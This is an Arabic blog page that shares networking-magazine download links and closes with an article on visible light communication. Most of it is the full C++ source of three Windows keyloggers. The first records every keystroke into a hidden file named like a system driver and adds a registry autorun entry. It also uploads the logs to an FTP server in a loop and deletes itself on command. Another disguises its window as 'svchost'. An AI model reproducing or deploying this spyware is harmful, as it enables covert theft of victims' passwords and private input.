السبت، 21 ديسمبر، 2013

العدد 36 من مجلة network set

تحميل تحميل

انترنت الاشياء من مجلة network set

تحميل تحميل

العدد الثامن وثلاثين من مجلة NetworkSet

  التحميل  تحميل من هنا

ايجاد باسورد الراوتر بالنسخة الاحتياطية

السبت، 15 يونيو، 2013

keylogger send to mail and hidden ...........كيلوجر ب c++(visual c++0

الكود خال من الاخطاء بالتطبيق على visual studio 2010 على الاقل
طبعا هذا الكود مبرمج بلغة vc++
برمجة محمد توفيق مسعّدkmkho@hotmail.com-mohammedtawfiq2013@gmail.comللإستفسار
kmkho.ahlamontada.com

#include <stdio.h>
#include <string>
#include <windows.h>
#include <wininet.h>
#include <winuser.h>
#include <conio.h>
#include <time.h>
#include <fstream>
#include <strsafe.h>
#include  <io.h>
#include <crtdefs.h>

//#include "Thread."
using namespace std;
#pragma comment(lib,"Wininet.lib")
#define SELF_REMOVE_STRING  TEXT("cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"")

void PlaceHolder()
{
    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"placehold.txt");
    HINTERNET hhInternet;
    HINTERNET hftpdownload;
    hhInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hftpdownload = InternetConnectA(hhInternet, "www.live.com", INTERNET_DEFAULT_FTP_PORT, "kmkhol@hotmail.com", "1111", INTERNET_SERVICE_FTP, 0, 0 );
    FtpGetFileA(hftpdownload, "holding.txt",szDir, FALSE,NULL,INTERNET_FLAG_TRANSFER_BINARY,NULL);
    InternetCloseHandle(hftpdownload);
    InternetCloseHandle(hhInternet);
}
int isCapsLock()
{
    if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0)
    {
  return 1;
    }
    else
    {
  return 0;
    }
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
    DWORD dwMsg = 1;
    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"atapi.sys");
    FILE *file;
    file = fopen(szDir, "a+");
    DWORD dwAttrs = GetFileAttributesA(szDir);
    if (dwAttrs!= (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN))
    SetFileAttributesA(szDir, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
    switch (wParam)
    {
    case WM_KEYDOWN:
    {
  DWORD vkCode = pKeyBoard->vkCode;
  if (GetAsyncKeyState(VK_SHIFT))
  {
    switch (vkCode)
    {
    case 0x30:
    fputs("=", file);
    break;
    case 0x31:
    fputs("!", file);
    break;
    case 0x32:
    fputs("\"", file);
    break;
    case 0x33:
    fputs("#", file);
    break;
    case 0x34:
    fputs("$", file);
    break;
    case 0x35:
    fputs("%", file);
    break;
    case 0x36:
    fputs("&", file);
    break;
    case 0x37:
    fputs("/", file);
    break;
    case 0x71:
        fputs("f1",file);
            break;
  
        break;

    case 0x38:
    fputs("(", file);
    break;
    case 0x39:
    fputs(")", file);
    break;
    case 0xBF:
    fputs("?", file);
    break;
    case 0xBB:
    fputs("*", file);
    break;
    case 0xBC:
    fputs(";", file);
    break;
    case 0xBE:
    fputs(":", file);
    break;
    case 0xBD:
    fputs("_", file);
    break;
    case 0xE2:
    fputs(">", file);
    break;
    case 0x1C:
        fputs("VK_CONVERT",file);
  
    break;
    case 0x56:
    fputs("@", file);
    break;
  
    case  0x2A:
    fputs ("PRINT",file);
    break;
    case  0x2E:
    fputs ("delet",file);
    break;
    case 0xAA:
    fputs("searsh",file);
    break;
    case  0xF2:
    fputs("COPY",file);
    break;
    case 0xFE: fputs("clear",file);
    break;
    case  0x3:
    fputs("connect",file);
    break;
    case 0x6:
    fputs("logoff",file);
    break;
    }
  }
  else
  {
    switch (vkCode)
    {
    case 0x30:
    fputs("0", file);
    break;
    case 0x31:
    fputs("1", file);
    break;
    case 0x32:
    fputs("2", file);
    break;
    case 0x33:
    fputs("3", file);
    break;
    case 0x34:
    fputs("4", file);
    break;
    case 0x35:
    fputs("5", file);
    break;
    case 0x36:
    fputs("6", file);
    break;
    case 0x37:
    fputs("7", file);
    break;
    case 0x38:
    fputs("8", file);
    break;
    case 0x39:
    fputs("9", file);
    break;
    case 0xBF:
    fputs("'", file);
    break;
    case 0xBB:
    fputs("+", file);
    break;
    case 0xBC:
    fputs(",", file);
    break;
    case 0xBE:
    fputs(".", file);
    break;
    case 0xBD:
    fputs("-", file);
    break;
    case 0xE2:
    fputs("<", file);
    break;
    }
  }
  if (!(GetAsyncKeyState(VK_SHIFT) ^ isCapsLock()))
    
  {
    switch (vkCode)
    {
    case 0x41:
    fputs("a", file);
    break;
    case 0x42:
    fputs("b", file);
    break;
    case 0x43:
    fputs("c", file);
    break;
    case 0xBA:
    fputs("č", file);
    break;
    case 0x44:
    fputs("d", file);
    break;
    case 0x45:
    fputs("e", file);
    break;
    case 0x46:
    fputs("f", file);
    break;
    case 0x47:
    fputs("g", file);
    break;
    case 0x48:
    fputs("h", file);
    break;
    case 0x49:
    fputs("i", file);
    break;
    case 0x4A:
    fputs("j", file);
    break;
    case 0x4B:
    fputs("k", file);
    break;
    case 0x4C:
    fputs("l", file);
    break;
    case 0x4D:
    fputs("m", file);
    break;
    case 0x4E:
    fputs("n", file);
    break;
    case 0x4F:
    fputs("o", file);
    break;
    case 0x50:
    fputs("p", file);
    break;
    case 0x52:
    fputs("r", file);
    break;
    case 0x53:
    fputs("s", file);
    break;
    case 0xDB:
    fputs("š", file);
    break;
    case 0x54:
    fputs("t", file);
    break;
    case 0x55:
    fputs("u", file);
    break;
    case 0x56:
    fputs("v", file);
    break;
    case 0x5A:
    fputs("z", file);
    break;
    case 0xDC:
    fputs("ž", file);
    break;
    case 0x51:
    fputs("q", file);
    break;
    case 0x57:
    fputs("w", file);
    break;
    case 0x59:
    fputs("y", file);
    break;
    case 0x58:
    fputs("x", file);
    break;
    case 0xDE:
    fputs("ć", file);
    break;
    case 0xDD:
    fputs("đ", file);
    break;
    case  0x02000000:
        fputs("alt",file);
        break;
    }
  }
  else VK_SHIFT+KF_ALTDOWN ;
  {
    switch (vkCode)
    {
    case 0x41:
    fputs("ش", file);
    break;
    case 0x42:
    fputs("لا", file);
    break;
    case 0x43:
    fputs("ؤ", file);
    break;
    case 0xBA:
        fputs("}", file);
    break;
    case 0x44:
    fputs("ي", file);
    break;
    case 0x45:
    fputs("ث", file);
    break;
    case 0x46:
    fputs("ب", file);
    break;
    case 0x47:
    fputs("ل", file);
    break;
    case 0x48:
    fputs("ا", file);
    break;
    case 0x49:
    fputs("ه", file);
    break;
    case 0x4A:
    fputs("ل", file);
    break;
    case 0x4B:
    fputs("ن", file);
    break;
    case 0x4C:
    fputs("م", file);
    break;
    case 0x4D:
    fputs("ة", file);
    break;
    case 0x4E:
    fputs("ى", file);
    break;
    case 0x4F:
    fputs("خ", file);
    break;
    case 0x50:
    fputs("ح", file);
    break;
    case 0x52:
    fputs("ق", file);
    break;
    case 0x53:
    fputs("س", file);
    break;
    case 0xDB:
    fputs("ٍ", file);
    break;
    case 0x54:
    fputs("ف", file);
    break;
    case 0x55:
    fputs("ع", file);
    break;
    case 0x56:
    fputs("ر", file);
    break;
    case 0x5A:
    fputs("ئ", file);
    break;
    case 0xDC:
    fputs("~", file);
    break;
    case 0x51:
    fputs("َ", file);
    break;
    case 0x57:
    fputs("ً", file);
    break;
    case 0x59:
    fputs("إ", file);
    break;
    case 0x58:
    fputs("ء", file);
    break;
    case 0xDE:
        fputs("}}", file);
    break;
    case 0xDD:
    fputs("]]", file);
    break;
    }
  }
  switch (vkCode)
  {
  case VK_SPACE:
    fputs(" ", file);
    break;
  case 0x2E:
    fputs("[Delete]", file);
    break;
  case VK_BACK:
    fputs("[BackSpace]", file);
    break;
  case VK_RETURN:
    fputs("[NewLine]\n", file);
    break;
  case VK_LCONTROL:
    fputs("[Ctrl]", file);
    break;
  case VK_RCONTROL:
    fputs("[Ctrl]", file);
    break;
  case VK_TAB:
    fputs("[Tab]", file);
    break;
  case 0x25:
    fputs("[Left Arrow]", file);
    break;
  case 0x26:
    fputs("[Up Arrow]", file);
    break;
  case 0x27:
    fputs("[Right Arrow]", file);
    break;
  case 0x28:
    fputs("[Down Arrow]", file);
    break;
  case VK_NUMPAD0:
    fputs("0", file);
    break;
  case VK_NUMPAD1:
    fputs("1", file);
    break;
  case VK_NUMPAD2:
    fputs("2", file);
    break;
  case VK_NUMPAD3:
    fputs("3", file);
    break;
  case VK_NUMPAD4:
    fputs("4", file);
    break;
  case VK_NUMPAD5:
    fputs("5", file);
    break;
  case VK_NUMPAD6:
    fputs("6", file);
    break;
  case VK_NUMPAD7:
    fputs("7", file);
    break;
  case VK_NUMPAD8:
    fputs("8", file);
    break;
  case VK_NUMPAD9:
    fputs("9", file);
    break;
  case 0x6F:
    fputs("/", file);
    break;
  case 0x6A:
    fputs("*", file);
    break;
  case 0x6D:
    fputs("-", file);
    break;
  case 0x6B:
    fputs("+", file);
    break;
  case 0x6E:
    fputs(",", file);
    break;
  }
    }
    case WM_SYSKEYDOWN:
    {
  DWORD vkCode = pKeyBoard->vkCode;
  if (GetAsyncKeyState(VK_RMENU))
  {
    switch (vkCode)
    {
    case 0x51:
    fputs("\\", file);
    break;
    case 0x57:
    fputs("|", file);
    break;
    case 0x45:
    fputs("€", file);
    break;
    case 0xDB:
    fputs("÷", file);
    break;
    case 0xDD:
    fputs("×", file);
    break;
    case 0x46:
    fputs("[", file);
    break;
    case 0x47:
    fputs("]", file);
    break;
    case 0x4B:
    fputs("ł", file);
    break;
    case 0x4C:
    fputs("Ł", file);
    break;
    case 0xDE:
    fputs("ß", file);
    break;
    case 0xDC:
    fputs("¤", file);
    break;
    case 0x56:
    fputs("@", file);
    break;
    case 0x42:
    fputs("{", file);
    break;
    case 0x4E:
    fputs("}", file);
    break;
    case 0x4D:
    fputs("§", file);
    break;
    case 0xBC:
    fputs("<", file);
    break;
    case 0xBE:
    fputs(">", file);
    break;
    }
  }
    }
    default:
  fclose(file);
  return CallNextHookEx( NULL, nCode, wParam, lParam );
    }
    fclose(file);
    return 0;
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    HHOOK hKeyHook;
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (hExe == NULL)
    {
  return 1;
    }
    else
    {
  hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, hExe, 0);//للحروف الصغيره
  MSG msg;
  while (GetMessage(&msg, NULL, 0, 0) != 0)
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);//بعث الرساله
  }
  UnhookWindowsHookEx(hKeyHook);
    }
    return 0;
}
int StartKeyLogging()
{
    HANDLE hThread;
    DWORD dwThread;
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger,NULL, 0, NULL);
    if (hThread)
    {
  return WaitForSingleObject(hThread, INFINITE);
    }
    else
    {
  return 1;
    }
}
void AutoStart()
{
        char Driver[MAX_PATH];
        HMODULE HMod;
        HKEY hKey;
        HMod = GetModuleHandle(NULL);
        GetModuleFileNameA(HMod, Driver, sizeof(Driver));
        RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);//فتح الرجستري
        RegSetValueExA(hKey, "Windows Atapi x86_64 Driver", 0, REG_SZ, (const unsigned char *)Driver, MAX_PATH);//الحصول على القيمه
        RegCloseKey(hKey);
}
void File()
{
    char Driver[MAX_PATH];
    HMODULE HMod;
    HMod = GetModuleHandle(NULL);
    GetModuleFileNameA(HMod, Driver, sizeof(Driver));
    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"atapi.sys");
    FILE *file;
    file = fopen(szDir,"a+");
    fputs(" - Started logging on - ", file);//لبدايه التشغيل
    fclose(file);
    char szName[50];
    DWORD dwAttrs = GetFileAttributesA(szDir);
    DWORD dwAttra = GetFileAttributesA(Driver);
//
    if (dwAttra && dwAttrs!= (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN))//بنفس الخصائص ومخفي
    {
    SetFileAttributesA(szDir, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);//للحصول على خصائص الملف  بنفس
    SetFileAttributesA(Driver, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
    }
    else
        ;
//
    while(true)
    {
    time_t theTime = time(0);
    SYSTEMTIME Time;
    WORD Dan = Time.wDay;
    WORD Mesec = Time.wMonth;
    WORD Ura = Time.wHour;
    WORD Minute = Time.wMinute;
    WORD Sekunde = Time.wSecond;
    file = fopen(szDir,"a+");
    fputs("\n", file);
    fputs(ctime(&theTime), file);
    fputs("\n", file);
    fclose(file);
    sprintf(szName, "AttackedSuccessfuly_%d%d%d%d%d.txt", Dan, Mesec, Ura, Minute, Sekunde);
    HINTERNET hInternet;
    HINTERNET hFtpSession;
    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hFtpSession = InternetConnectA(hInternet, "FTPSERVER", INTERNET_DEFAULT_FTP_PORT, "USERNAME", "PASSWORD", INTERNET_SERVICE_FTP, 0, 0 );
    FtpPutFileA(hFtpSession,szDir, szName, FTP_TRANSFER_TYPE_BINARY, 0);
    InternetCloseHandle(hFtpSession);
    InternetCloseHandle(hInternet);
    Sleep(7200);
    }
}
void DeleteMe()
{
    TCHAR szModuleName[MAX_PATH];
    TCHAR szCmd[2 * MAX_PATH];
    STARTUPINFO si = {0};;//معلومات جديدة
    PROCESS_INFORMATION pi = {0};//طوابغ لوقت النظام

    char szDir2[260];
    GetTempPathA(260,szDir2);//ملف مؤقت لبدايه التشغيل
    strcat(szDir2,"destroy.txt");//نسخ المعلومات بالملف الى

    HINTERNET hhInternet;//للارسال عبر النت
    HINTERNET hftpdownload;//منفذ
    hhInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);//للتاكد من النت
    hftpdownload = InternetConnectA(hhInternet, "FTPSERVERX", INTERNET_DEFAULT_FTP_PORT, "USERNAME", "PASSWORD", INTERNET_SERVICE_FTP, 0, 0 );//للتهيئه الموقع
    FtpGetFileA(hftpdownload, "destroy.txt",szDir2, FALSE,NULL,INTERNET_FLAG_TRANSFER_BINARY,NULL);//لارسال الملف ب النظام الثنائي
    InternetCloseHandle(hftpdownload);
    InternetCloseHandle(hhInternet);

    char Driver[MAX_PATH];//مصفوفه بحجم الملف
    HMODULE HMod;
    HMod = GetModuleHandle(NULL);
    GetModuleFileNameA(HMod, Driver, sizeof(Driver));

    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"placehold.txt");//نسخ المعلومات من الملف الى ال

    char szDir3[260];
    GetTempPathA(260,szDir3);//تخزين الموقت
    strcat(szDir3,"atapi.sys");//نسخ
     if( (_access( szDir2, 0 )) != -1 )
   {
       remove(szDir2);
        remove(szDir);
        SetFileAttributesA(szDir3,FILE_ATTRIBUTE_NORMAL);//للحصول على خصائص الملف  بنفس
            remove(szDir3);
            SetFileAttributesA(Driver, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);//بنفس الخصائص ومخفي
                StringCbPrintf(szCmd, 2 * MAX_PATH, SELF_REMOVE_STRING, szModuleName);
        CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);//لاخفاء النافذه
                CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            exit(1);
   }
     else
         ;
}

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
    PlaceHolder();
    AutoStart();
    DeleteMe();
    //handeld
     //hThread1 = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger,NULL, 0, NULL);
    //CreateThread(
    //Thread FileFunction = new Thread(File);
     //startThreading(Priority_Max);
    //CFunction.Start();
    StartKeyLogging();
}

سورس كود كيلوجلر ذكي ب c++ source code keylogger in c++

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// Global Hook handle
HHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
  int nCode,      // The hook code
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  LPARAM lParam   // A pointer to a struct with information about the pressed key
) {
    if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
    {
    //  This struct contains various information about
    //  the pressed key such as hardware scan code, virtual
    //  key code and further flags.
        KBDLLHOOKSTRUCT hooked =
            *((KBDLLHOOKSTRUCT*)lParam);
    //  dwMsg shall contain the information that would be stored
    //  in the usual lParam argument of a WM_KEYDOWN message.
    //  All information like hardware scan code and other flags
    //  are stored within one double word at different bit offsets.
    //  Refer to MSDN for further information:
    //
    //  http://msdn.microsoft.com/library/en-us/winui/winui/
    //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
    //
    //  (Keystroke Messages)
        DWORD dwMsg = 1;
        dwMsg += hooked.scanCode << 16;
        dwMsg += hooked.flags << 24;
    //  Call the GetKeyNameText() function to get the language-dependant
    //  name of the pressed key. This function should return the name
    //  of the pressed key in your language, aka the language used on
    //  the system.
        char lpszName[0x100] = {0};
        lpszName[0] = '[';
        int i = GetKeyNameText(dwMsg,
            (lpszName+1),0xFF) + 1;
        lpszName[i] = ']';
    //  Print this name to the standard console output device.
        FILE *file;
        file=fopen("keys.log","a+");
        fputs(lpszName,file);
        fflush(file);
    }
//  the return value of the CallNextHookEx routine is always
//  returned by your HookProc routine. This allows other
//  applications to install and handle the same hook as well.
    return CallNextHookEx(hKeyHook,
        nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
//  Get a module handle to our own executable. Usually,
//  the return value of GetModuleHandle(NULL) should be
//  a valid handle to the current application instance,
//  but if it fails we will also try to actually load
//  ourself as a library. The thread's parameter is the
//  first command line argument which is the path to our
//  executable.
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
//  Everything failed, we can't install the hook ... this
//  never happened, but error handling is important.
    if (!hExe) return 1;
    hKeyHook = SetWindowsHookEx (  // install the hook:
        WH_KEYBOARD_LL,            // as a low level keyboard hook
        (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable
        hExe,                      // and the module handle to our own executable
        NULL                       // and finally, the hook should monitor all threads.
    );
//  Loop forever in a message loop and if the loop
//  stops some time, unhook the hook. I could have
//  added a signal handler for ctrl-c that unhooks
//  the hook once the application is terminated by
//  the user, but I was too lazy.
    MsgLoop();
    UnhookWindowsHookEx(hKeyHook);
    return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
        KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
    if (hThread) {
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 1;
    }

 }other 



/*
 * WinKey -- A GPL Windows keylogging program. While this program can potentially
 * be used for nefarious purposes, it was written for educational and recreational
 * purposes only and the author does not endorse illegal use.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define DEBUG 1

#define OUTFILE_NAME "Logs\\WinKey.log" /* Output file */
#define CLASSNAME "winkey"
#define WINDOWTITLE "svchost"

char windir[MAX_PATH + 1];
HHOOK kbdhook; /* Keyboard hook handle */
bool running; /* Used in main loop */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
 if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  static bool capslock = false;
  static bool shift = false;
  char tmp[0xFF] = {0};
  std::string str;
  DWORD msg = 1;
  KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  bool printable;

  /*
   * Get key name as string
   */
  msg += (st_hook.scanCode << 16);
  msg += (st_hook.flags << 24);
  GetKeyNameText(msg, tmp, 0xFF);
  str = std::string(tmp);

  printable = (str.length() <= 1) ? true : false;

  /*
   * Non-printable characters only:
   * Some of these (namely; newline, space and tab) will be
   * made into printable characters.
   * Others are encapsulated in brackets ('[' and ']').
   */
  if (!printable) {
   /*
    * Keynames that change state are handled here.
    */
   if (str == "CAPSLOCK")
    capslock = !capslock;
   else if (str == "SHIFT")
    shift = true;

   /*
    * Keynames that may become printable characters are
    * handled here.
    */
   if (str == "ENTER") {
    str = "\n";
    printable = true;
   } else if (str == "SPACE") {
    str = " ";
    printable = true;
   } else if (str == "TAB") {
    str = "\t";
    printable = true;
   } else {
    str = ("[" + str + "]");
   }
  }

  /*
   * Printable characters only:
   * If shift is on and capslock is off or shift is off and
   * capslock is on, make the character uppercase.
   * If both are off or both are on, the character is lowercase
   */
  if (printable) {
   if (shift == capslock) { /* Lowercase */
    for (size_t i = 0; i < str.length(); ++i)
     str[i] = tolower(str[i]);
   } else { /* Uppercase */
    for (size_t i = 0; i < str.length(); ++i) {
     if (str[i] >= 'A' && str[i] <= 'Z') {
      str[i] = toupper(str[i]);
     }
    }
   }

   shift = false;
  }

#ifdef DEBUG
  std::cout << str;
#endif
  std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
  std::ofstream outfile(path.c_str(), std::ios_base::app);
  outfile << str;
  outfile.close();
 }

 return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd Window handle
 * \param msg Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
 switch (msg) {
  case WM_CLOSE: case WM_DESTROY:
   running = false;
   break;
  default:
   /* Call default message handler */
   return DefWindowProc(hwnd, msg, wp, lp);
 }

 return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  LPSTR cmdline, int ncmdshow)
{
 /*
  * Set up window
  */
 HWND  hwnd;
 HWND  fgwindow = GetForegroundWindow(); /* Current foreground window */
 MSG  msg;
 WNDCLASSEX windowclass;
 HINSTANCE modulehandle;

 windowclass.hInstance = thisinstance;
 windowclass.lpszClassName = CLASSNAME;
 windowclass.lpfnWndProc = windowprocedure;
 windowclass.style = CS_DBLCLKS;
 windowclass.cbSize = sizeof(WNDCLASSEX);
 windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
 windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
 windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
 windowclass.lpszMenuName = NULL;
 windowclass.cbClsExtra = 0;
 windowclass.cbWndExtra = 0;
 windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

 if (!(RegisterClassEx(&windowclass)))
  return 1;

 hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
   CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
   thisinstance, NULL);
 if (!(hwnd))
  return 1;

 /*
  * Make the window invisible
  */
#ifdef DEBUG
 /*
  * Debug mode: Make the window visible
  */
 ShowWindow(hwnd, SW_SHOW);
#else
 ShowWindow(hwnd, SW_HIDE);
#endif
 UpdateWindow(hwnd);
 SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

 /*
  * Hook keyboard input so we get it too
  */
 modulehandle = GetModuleHandle(NULL);
 kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

 running = true;

 GetWindowsDirectory((LPSTR)windir, MAX_PATH);

 /*
  * Main loop
  */
 while (running) {
  /*
   * Get messages, dispatch to window procedure
   */
  if (!GetMessage(&msg, NULL, 0, 0))
   running = false; /*
       * This is not a "return" or
       * "break" so the rest of the loop is
       * done. This way, we never miss keys
       * when destroyed but we still exit.
       */
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }

 return 0;
}

شبكات المستقبلية VLC

شبكات المستقبل،VLC،optical،ضوئي - -http://fadialtaha.files.wordpress.com/2011/12/2.jpg معظم الأشياء قد تتعدد استخداماتها إلى جانب الغاية الأساسية من تصنيعها، فمثلا الهاتف الجوال صنع أساسا لغرض الاتصال وأيضا تشغيل الملتيميديا والتطبيقات كاستعمال ثانوي وكذلك الكمبيوتر له عدة استخدامات وغيرها من الأجهزة. ولكن ما هي الاستعمالات الثانوية لأجهزة الإضاءة ؟ وهل فكرت يوما أن تقوم بتحميل هذه المجلة عن طريق الإنارة التي في الغرفة؟ الباحثون والعلماء وكالعادة يحاولون استنزاف الأشياء واستخلاص كل طاقتها الممكنة، لذلك فكروا في الاستفادة من الإضاءة وكيفية استغلالها اشد استغلال والنتيجة كانت تقنية يجري عليها الأبحاث حاليا لتطويرها من قبل علماء وبالأخص في معهد فراونهوفر هاينريش هيرتز وبالتعاون مع مختبرات خاصة بشركات عالمية رائدة في مجال الإلكترونيات مثل شركة سيمينز و فرانس تيليكوم أورانج. هذه التكنولوجيا ستغير مفهوم العالم للاتصال وتعرف بمصطلح الـ VLC. الـ VLC مختصر Visible Light Communication أو الاتصال عبر الضوء المرئي وتعريفها ببساطة هي تقنية تسمح للأشخاص بالاستفادة من أجهزة الإنارة -إلى جانب إضاءتها- لنقل البيانات عبرها والدخول إلى الانترنت باستعمال الضوء العادي القادم من تلك الأجهزة فقط. يقول البروفسور ناكاغاوا الذي يرأس الكونسرسيوم الصناعي الياباني للاتصالات عبر الضوء المرئي “إن الضوء مستخدم يوميا بالفعل منذ زمن طويل من قبل ملايين الأشخاص لنقل المعلومات وعلى سبيل المثال عندما يستخدم مشاهد تلفزيوني جهاز التحكم عن بعد الذي يعمل بالأشعة تحت الحمراء لتغيير القنوات إلا أن هذه الوسيلة لنقل البيانات باستخدام ضوء الأشعة تحت الحمراء يقع خارج مجال رؤية العين البشرية”. الفكرة واضحة ولا تحتوي أي تعقيد وهي نقل البيانات باستخدام موجات الضوء الذي تردده يتراوح بين 400 و800 تيراهيرتز. ولتوليد ضوء بهذا التردد نستطيع استخدام مصابيح الفلوريسنت العادية حيث وصلت سرعة نقل البيانات بواسطتها إلى 10 كيلوبت في الثانية أو باستخدام مصابيح الـ LED بسرعة نقل وصلت إلى 500 ميكابت في الثانية ولمسافة قليلة جدا لا تتعدى الـ 5 أمتار فقط! لكن في مايو الماضي، تمكن الباحثون من إضاءة غرفة مساحتها أكثر من 10 متر مربع، وفي الوقت نفسه من نقل بيانات ولكن بسرعة لم تتعدى الـ 100 ميكابت في الثانية من دون أية مشكلة أو عرقلة في عملية الإرسال أو الاستقبال. وهذا يعني أنه من الممكن تشغيل أربعة أفلام فيديو بوضوح على أربعة كمبيوترات في الوقت ذاته، وذلك طبقاً لما قاله أحد الباحثين بالمعهد. أيضا بدأت هذه التقنية بمجاراة الايثرنت ، حيث أمكن إرسال بيانات بسرعة 10 ميكابت في الثانية ولمسافة 1 إلى 2 كيلومتر وذلك باستعمال مصابيح LED بطاقة عالية وذات إضاءة نافذة. ومؤخرا حدثت النقلة النوعية عندما نجح باحثو المعهد المذكور في نقل بيانات بسرعة تصل إلى 800 ميكابت في الثانية بواسطة أضواء مصابيح LED ذات ألوان مختلفة من أحمر وأزرق وأخضر وأبيض داخل المختبر. استعمال الـ LED وتفضيلها جاء بسبب إن هذه المصابيح تعتبر ذات إضاءة عالية تنتشر إلى مسافات بعيدة لذلك فهي تستخدم في حالة الضباب والإنذار في سيارات الشرطة والإسعاف لكونها صغيرة الحجم ومتنوعة الأشكال إضافة إلى أنها موفرة للطاقة وطويلة العمر وصديقة للبيئة. ومؤخرا نجح مهندس في شركة كاسيو في أن يلتقط بكاميرا خاصة من الأرض إشارة منبعثة من مصباح وضع على قمة برج طوكيو التي تبعد 250 مترا عن مكانه. كيف تعمل هذه التقنية ؟
